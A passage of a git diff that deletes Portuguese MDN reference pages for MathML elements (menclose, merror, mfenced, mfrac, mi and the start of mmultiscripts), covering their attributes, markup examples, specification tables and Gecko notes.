-<p>Um apoio textual (<code>alttext</code>) ou referir a uma imagem alternativa usando os atributos <code>altimg</code>, <code>altimg-width</code>, <code>altimg-height</code> ou <code>altimg-valign</code> não está implementado no Firefox de momento.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>Elemento de HTML <em>top-level</em>: {{ HTMLElement("html") }}</li>
- <li>Elemento de SVG <em>top-level</em>: {{ SVGElement("svg") }}</li>
- <li><a href="http://eyeasme.com/Joe/MathML/MathML_browser_test.html">Teste de navegador MathML</a></li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/menclose/index.html b/files/pt-pt/web/mathml/element/menclose/index.html
deleted file mode 100644
index bae255350e..0000000000
--- a/files/pt-pt/web/mathml/element/menclose/index.html
+++ /dev/null
@@ -1,196 +0,0 @@
----
-title: <menclose>
-slug: Web/MathML/Element/menclose
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/menclose
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;menclose&gt;</code> apresenta os seus conteúdos dentro da notação indicada pelo atributo <code>notation</code>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-notation">notation</dt>
- <dd>A lista de notações, separada por espaços, para aplicar aos elementos filhos. Os símbolos são desenhados como se os outros não estivessem presentes, e por isso podem sobrepor-se. Os valores possíveis são:
- <table class="standard-table">
- <tbody>
- <tr>
- <th>Valor</th>
- <th>Exemplo de apresentação</th>
- <th>Apresentação no seu navegador</th>
- <th>Descrição</th>
- </tr>
- <tr>
- <td><code>longdiv</code> (default)</td>
- <td><img alt="longdiv" src="/files/3167/default.png"></td>
- <td><math> <menclose notation="longdiv"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>símbolo de longa divisão</td>
- </tr>
- <tr>
- <td><code>actuarial</code></td>
- <td><img alt="actuarial" src="/files/3168/actuarial.png"></td>
- <td><math> <menclose notation="actuarial"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td><a class="external" href="http://en.wikipedia.org/wiki/Actuarial_notation" title="http://en.wikipedia.org/wiki/Actuarial_notation">símbolo atuarial</a></td>
- </tr>
- <tr>
- <td><code>radical</code> {{deprecated_inline}}</td>
- <td><img alt="radical" src="/files/3169/radical.png"></td>
- <td><math> <menclose notation="radical"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>símbolo de raiz quadrada. Depreciado. Use {{MathMLElement("msqrt")}}.</td>
- </tr>
- <tr>
- <td><code>box</code></td>
- <td><img alt="box" src="/files/3170/box.png"></td>
- <td><math> <menclose notation="box"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>caixa</td>
- </tr>
- <tr>
- <td><code>roundedbox</code></td>
- <td><img alt="roundedbox" src="/files/3171/roundedbox.png"></td>
- <td><math> <menclose notation="roundedbox"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>caixa arredondada</td>
- </tr>
- <tr>
- <td><code>circle</code></td>
- <td><img alt="circle" src="/files/3172/circle.png"></td>
- <td><math> <menclose notation="circle"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>circulo</td>
- </tr>
- <tr>
- <td><code>left</code></td>
- <td><img alt="left" src="/files/3173/left.png"></td>
- <td><math> <menclose notation="left"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha vertical à esquerda dos conteúdos</td>
- </tr>
- <tr>
- <td><code>right</code></td>
- <td><img alt="right" src="/files/3174/right.png"></td>
- <td><math> <menclose notation="right"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha vertical à direita dos conteúdos</td>
- </tr>
- <tr>
- <td><code>top</code></td>
- <td><img alt="top" src="/files/3175/top.png"></td>
- <td><math> <menclose notation="top"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha horizontal acima dos conteúdos</td>
- </tr>
- <tr>
- <td><code>bottom</code></td>
- <td><img alt="bottom" src="/files/3176/bottom.png"></td>
- <td><math> <menclose notation="bottom"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha horizontal abaixo dos conteúdos</td>
- </tr>
- <tr>
- <td><code>updiagonalstrike</code></td>
- <td><img alt="updiagonalstrike" src="/files/3177/updiagonalstrike.png"></td>
- <td><math> <menclose notation="updiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha através do conteúdo da parte inferior esquerda para a parte superior direita</td>
- </tr>
- <tr>
- <td><code>downdiagonalstrike</code></td>
- <td><img alt="downdiagonalstrike" src="/files/3178/downdiagonalstrike.png"></td>
- <td><math> <menclose notation="downdiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha através do conteúdo da parte superior esquerda para a parte inferior direita</td>
- </tr>
- <tr>
- <td><code>verticalstrike</code></td>
- <td><img alt="verticalstrike" src="/files/3179/verticalstrike.png"></td>
- <td><math> <menclose notation="verticalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha vertical através do conteúdo</td>
- </tr>
- <tr>
- <td><code>horizontalstrike</code></td>
- <td><img alt="horizontalstrike" src="/files/3180/horizontalstrike.png"></td>
- <td><math> <menclose notation="horizontalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>linha horizontal através do conteúdo</td>
- </tr>
- <tr>
- <td><code>madruwb</code></td>
- <td><img alt="madruwb" src="/files/3181/madruwb.png"></td>
- <td><math> <menclose notation="madruwb"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td><a class="external" href="http://en.wikipedia.org/wiki/Modern_Arabic_mathematical_notation#Arithmetic_and_algebra" title="http://en.wikipedia.org/wiki/Modern_Arabic_mathematical_notation#Arithmetic_and_algebra">símbolo fatorial arábico</a></td>
- </tr>
- <tr>
- <td><code>updiagonalarrow</code></td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/6255/updiagonalarrow.png" style="height: 38px; width: 83px;"></td>
- <td><math> <menclose notation="updiagonalarrow"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>seta diagonal</td>
- </tr>
- <tr>
- <td><code>phasorangle</code></td>
- <td><img alt="Screenshot of the phasorangle notation" src="https://mdn.mozillademos.org/files/7851/phasorangle.png" style="height: 34px; width: 93px;"></td>
- <td><math> <menclose notation="phasorangle"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
- <td>ângulo fasor</td>
- </tr>
- </tbody>
- </table>
- </dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-  &lt;menclose notation="circle box"&gt;
-    &lt;mi&gt; x &lt;/mi&gt;
-    &lt;mo&gt; + &lt;/mo&gt;
-    &lt;mi&gt; y &lt;/mi&gt;
-  &lt;/menclose&gt;
-
-&lt;/math&gt;</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.menclose', 'menclose') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.menclose', 'menclose') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.menclose")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>Valores adicionais para o atributo <code>notation</code> foram adicionados nas seguintes publicações:
-
- <ul>
- <li><code>madruwb</code> em Gecko 2.0 {{GeckoRelease("2.0")}}.</li>
- <li><code>updiagonalarrow</code> em Gecko 24.0 {{GeckoRelease("24.0")}}</li>
- <li><code>phasorangle</code> em Gecko 32.0 {{GeckoRelease("32.0")}}</li>
- </ul>
- </li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/merror/index.html b/files/pt-pt/web/mathml/element/merror/index.html
deleted file mode 100644
index d69380bd1a..0000000000
--- a/files/pt-pt/web/mathml/element/merror/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: <merror>
-slug: Web/MathML/Element/merror
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/merror
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;merror&gt;</code> é usado para mostrar os seus conteúdos como mensagens de erro. No Firefox esta mensagem é renderizada de forma parecida à mensagem de erro de XML. Note que este erro <strong>não</strong> aparece quando a linguagem de marcação (<em>markup</em>) está errada ou o XML está mal formatado. Irá receber um erro de processamento do XML (no caso de notação XHTML de MathML), que não é relacionado ao  <code>&lt;merror&gt;</code>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto e da linha de fração. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores de HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-&lt;merror&gt;
- &lt;mrow&gt;
- &lt;mtext&gt; Division by zero: &lt;/mtext&gt;
- &lt;mfrac&gt;
- &lt;mn&gt; 1 &lt;/mn&gt;
- &lt;mn&gt; 0 &lt;/mn&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
-&lt;/merror&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.merror', 'merror') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.merror', 'merror') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.merror")}}</p>
diff --git a/files/pt-pt/web/mathml/element/mfenced/index.html b/files/pt-pt/web/mathml/element/mfenced/index.html
deleted file mode 100644
index f10d7643af..0000000000
--- a/files/pt-pt/web/mathml/element/mfenced/index.html
+++ /dev/null
@@ -1,81 +0,0 @@
----
-title: <mfenced>
-slug: Web/MathML/Element/mfenced
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Obsoleto
- - Referência de MathML
-translation_of: Web/MathML/Element/mfenced
----
-<div>{{MathMLRef}}</div>
-
-<p><span class="seoSummary">O elemento obsoleto <code>&lt;mfenced&gt;</code> costumava oferecer a possibilidade de adicionar parênteses e separadores personalizados a uma expressão. Foi removido das normas mais recente de MathML e navegadores modernos já não o apoiam.</span> Use os elementos {{MathMLElement("mrow")}} e {{MathMLElement("mo")}}.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style"><code>class</code>, <code>id</code>, <code>style</code></dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-close"><code>close</code></dt>
- <dd>Uma <em>string</em> para o delimitador final. O valor padrão é "<code>)</code>" e espaços em branco são removidos.</dd>
- <dt id="attr-href"><code>href</code></dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground"><code>mathbackground</code></dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor"><code>mathcolor</code></dt>
- <dd>A cor do texto e da linha de fração. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores de HTML</a>.</dd>
- <dt id="attr-open"><code>open</code></dt>
- <dd>Uma <em>string</em> para o delimitador inicial. O valor padrão é "<code>(</code>" e espaços em branco são removidos.</dd>
- <dt id="attr-separators"><code>separators</code></dt>
- <dd>
- <p>Uma sequência de zero ou mais caracteres a ser utilizada para diferentes separadores, opcionalmente divididos por espaço branco, que é ignorado. O valor pré-definido é ",". Ao especificar mais de um carácter, é possível definir separadores diferentes para cada argumento na expressão. Se houver demasiados separadores, todo o excesso é ignorado. Se houver muito poucos separadores na expressão, o último separador especificado é repetido.</p>
- </dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="O_último_separador_é_repetido">O último separador é repetido (<code>,</code>)</h3>
-
-<p>Exemplo: <img alt="{a;b;c,d,e}" src="/files/3193/mfenced01.png"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mfenced close="}" open="{" separators=";;,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
- &lt;mfenced open="{" close="}" separators=";;,"&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;mi&gt;e&lt;/mi&gt;
- &lt;/mfenced&gt;
-&lt;/math&gt;
-</pre>
-
-<h3 id="Todo_o_excesso_é_ignorado">Todo o excesso é ignorado (<code>,</code>)</h3>
-
-<p>Exemplo: <img alt="[a|b|c|d|e]" src="/files/3195/mfenced02.png"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mfenced close="]" open="[" separators="||||,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
- &lt;mfenced open="[" close="]" separators="||||,"&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;mi&gt;e&lt;/mi&gt;
- &lt;/mfenced&gt;
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<p>O elemento &lt;mfenced&gt; já não pertence às <a href="https://github.com/mathml-refresh/mathml/issues/2">normas mais recentes de MathML</a>. Use os elementos {{MathMLElement("mrow")}} e {{MathMLElement("mo")}}, ou para ter compatibilidade veja <a href="https://github.com/mathml-refresh/mathml-polyfills/tree/master/mfenced">mathml-polyfills/mfenced.</a></p>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mfenced")}}</p>
diff --git a/files/pt-pt/web/mathml/element/mfrac/index.html b/files/pt-pt/web/mathml/element/mfrac/index.html
deleted file mode 100644
index 5a402ba510..0000000000
--- a/files/pt-pt/web/mathml/element/mfrac/index.html
+++ /dev/null
@@ -1,92 +0,0 @@
----
-title: <mfrac>
-slug: Web/MathML/Element/mfrac
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mfrac
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento MathML <code>&lt;mfrac&gt;</code> é usado para apresentar frações.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">&lt;mfrac&gt;<em>numerator</em> <em>denominator</em>&lt;/mfrac&gt;</pre>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-bevelled"><code>bevelled</code> {{deprecated_inline}}</dt>
- <dd>Indica como a fração é apresentada. Se o valor é <code>true</code>, a linha de fração é <em>beveled</em>, que significa que o numerador e o denominador são apresentados lado a lado e separados por uma barra (/). Se o valor é <code>false</code> (o valor pré-definido), o numerador e o denominador são postos um acima do outro.<br>
- Este atributo está obsoleto e será removido no futuro. Use antes U+2044 (barra de fração).</dd>
- <dt id="attr-class-id-style"><code>class</code>, <code>id</code>, <code>style</code></dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-denomalign"><code>denomalign</code> {{deprecated_inline}}</dt>
- <dd>O alinhamento do denominador abaixo da linha de fração. Os valores aceites são: <code>left</code>, <code>center</code> (pré-definido), e <code>right</code>.<br>
- Este atributo está obsoleto e será removido no futuro. Use antes o CSS <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-align">text-align</a></code>.</dd>
- <dt id="attr-href"><code>href</code></dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-linethickness"><code>linethickness</code></dt>
- <dd>A espessura da linha de fração horizontal. Este atributo aceito <a href="/en-US/docs/CSS/length">valores de comprimento</a>.<br>
- Os valores <code>medium</code>, <code>thin</code>, e <code>thick</code> estão obsoletos e serão removidos no futuro.</dd>
- <dt id="attr-mathbackground"><code>mathbackground</code></dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor"><code>mathcolor</code></dt>
- <dd>A cor do texto e da linha de fração. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-numalign"><code>numalign</code> {{deprecated_inline}}</dt>
- <dd>O alinhamento do numerador sob a fração. Os valores aceites são: <code>left</code>, <code>center</code> (pré-definido), e <code>right</code>.<br>
- Este atributo está obsoleto e será removido no futuro. Use antes o CSS <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-align">text-align</a></code>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="(a/b)/(c/d)" src="/files/3194/mfrac.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d </mi> </mfrac> </mfrac> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
- &lt;mfrac bevelled="true"&gt;
- &lt;mfrac&gt;
- &lt;mi&gt; a &lt;/mi&gt;
- &lt;mi&gt; b &lt;/mi&gt;
- &lt;/mfrac&gt;
- &lt;mfrac&gt;
- &lt;mi&gt; c &lt;/mi&gt;
- &lt;mi&gt; d &lt;/mi&gt;
- &lt;/mfrac&gt;
- &lt;/mfrac&gt;
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mfrac', 'mfrac') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mfrac', 'mfrac') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inical</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mfrac")}}</p>
diff --git a/files/pt-pt/web/mathml/element/mi/index.html b/files/pt-pt/web/mathml/element/mi/index.html
deleted file mode 100644
index 554bbc7a72..0000000000
--- a/files/pt-pt/web/mathml/element/mi/index.html
+++ /dev/null
@@ -1,114 +0,0 @@
----
-title: <mi>
-slug: Web/MathML/Element/mi
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Token Elements'
- - Referência de MathML
-translation_of: Web/MathML/Element/mi
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mi&gt;</code> indica se o conteúdo deve ser apresentado como um <strong>identificador</strong> como nomes de funções, variáveis ou constantes simbólicas. Também pode ter texto arbitrário para a marcação de termos.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-dir">dir</dt>
- <dd>A direção geral das fórmulas. Valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathsize">mathsize</dt>
- <dd>O tamanho do conteúdo. Ver <a class="external external-icon" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" rel="noopener">comprimento</a> para os valores aceites.<br>
- Valores obsoletos: <code>small</code>, <code>normal</code> e <code>big</code>. Estes serão removidos no futuro.</dd>
- <dt id="attr-mathvariant">mathvariant</dt>
- <dd>Este atributo especifica a classe lógica do identificador, que varia em tipografia. Ou seja, embora os nomes sugerem o estilo tipográfico da classe, semanticamente, os itens com a mesma classe são tratados "da mesma forma" dentro de uma expressão, o que pode ou não envolver a sua exibição com a tipografia nomeada. São permitidos os seguintes valores:
- <ul>
- <li><code>normal</code> (Valor pré-definido para <em>mais que um caráter</em>) ; <math><mi mathvariant="normal">Exemplo</mi></math></li>
- <li><code>bold</code> ; <math><mi mathvariant="bold">Exemplo</mi></math></li>
- <li><code>italic</code> (Valor pré-definido para <em>um caráter individual</em>) ; <math><mi mathvariant="italic">Exemplo</mi></math></li>
- <li><code>bold-italic</code> ; <math><mi mathvariant="bold-italic">Exemplo</mi></math></li>
- </ul>
-
- <ul>
- <li><code>double-struck</code> ; <math><mi mathvariant="double-struck">Exemplo</mi></math></li>
- <li><code>bold-fraktur</code> ; <math><mi mathvariant="bold-fraktur">Exemplo</mi></math></li>
- <li><code>script</code> ; <math><mi mathvariant="script">Exemplo</mi></math></li>
- <li><code>bold-script</code> ; <math><mi mathvariant="bold-script">Exemplo</mi></math></li>
- <li><code>fraktur</code> ; <math><mi mathvariant="fraktur">Exemplo</mi></math></li>
- </ul>
-
- <ul>
- <li><code>sans-serif</code> ; <math><mi mathvariant="sans-serif">Exemplo</mi></math></li>
- <li><code>bold-sans-serif</code> ; <math><mi mathvariant="bold-sans-serif">Exemplo</mi></math></li>
- <li><code>sans-serif-italic</code> ; <math><mi mathvariant="sans-serif-italic">Exemplo</mi></math></li>
- <li><code>sans-serif-bold-italic</code> ; <math><mi mathvariant="sans-serif-bold-italic">Exemplo</mi></math></li>
- <li><code>monospace</code> ; <math><mi mathvariant="monospace">Exemplo</mi></math></li>
- </ul>
-
- <ul>
- <li><code>initial</code> ; <math><mi mathvariant="initial">مثال</mi></math></li>
- <li><code>tailed</code> ; <math><mi mathvariant="tailed">مثال</mi></math></li>
- <li><code>looped</code> ; <math><mi mathvariant="looped">مثال</mi></math></li>
- <li><code>stretched</code> ; <math><mi mathvariant="stretched">مثال</mi></math></li>
- </ul>
- </dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mi&gt; y &lt;/mi&gt;
-
- &lt;mi&gt; sin &lt;/mi&gt;
-
- &lt;mi mathvariant="monospace"&gt; x &lt;/mi&gt;
-
- &lt;mi mathvariant="bold"&gt; &amp;pi; &lt;/mi&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mi', 'mi') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mi', 'mi') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mi")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>Alguns valores de <code>mathvariant</code> só estão implementados a partir de Gecko 28.0 {{ geckoRelease("28.0") }} e requerem as <a href="/en-US/docs/Mozilla/MathML_Project/Fonts">fontes de matemática</a> apropriadas.</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mmultiscripts/index.html b/files/pt-pt/web/mathml/element/mmultiscripts/index.html
deleted file mode 100644
index 56ec2d5115..0000000000
--- a/files/pt-pt/web/mathml/element/mmultiscripts/index.html
+++ /dev/null
@@ -1,131 +0,0 @@
----
-title: <mmultiscripts>
-slug: Web/MathML/Element/mmultiscripts
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Script and Limit Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mmultiscripts
----
-<div>{{MathMLRef}}</div>
-
-<p>O elemento MathML <code>&lt;mmultiscripts&gt;</code> permite a criação de objetos de tipo tensor. {{ interwiki("wikipedia", "Tensor", "Tensores") }} são entidades geométricas introduzidas na matemática e na física para generalizar a noção de escalares, vetores e matrizes. O grau de um tensor depende das dimensões duma matriz representativa. Por exemplo, um número é uma matriz de 0 dimensões, ou um tensor de 0ª ordem. Uma matriz unidimensional (por exemplo, vetores) é um tensor de 1ª ordem, por isso são necessários tensores de 2ª ordem para representar matrizes quadradas.</p>
-
-<p>MathML usa uma sintaxe especial para descrever <em>subscripts</em>, <em>superscripts</em>, ou ambos adicionados a uma expressão base:</p>
-
-<pre class="syntaxbox notranslate">&lt;mmultiscripts&gt;
- <em>base</em>
- (<em>subscript superscript</em>)*
- [ &lt;mprescripts/&gt; (<em>presubscript presuperscript</em>)* ]
-&lt;/mmultiscripts&gt;
-</pre>
-
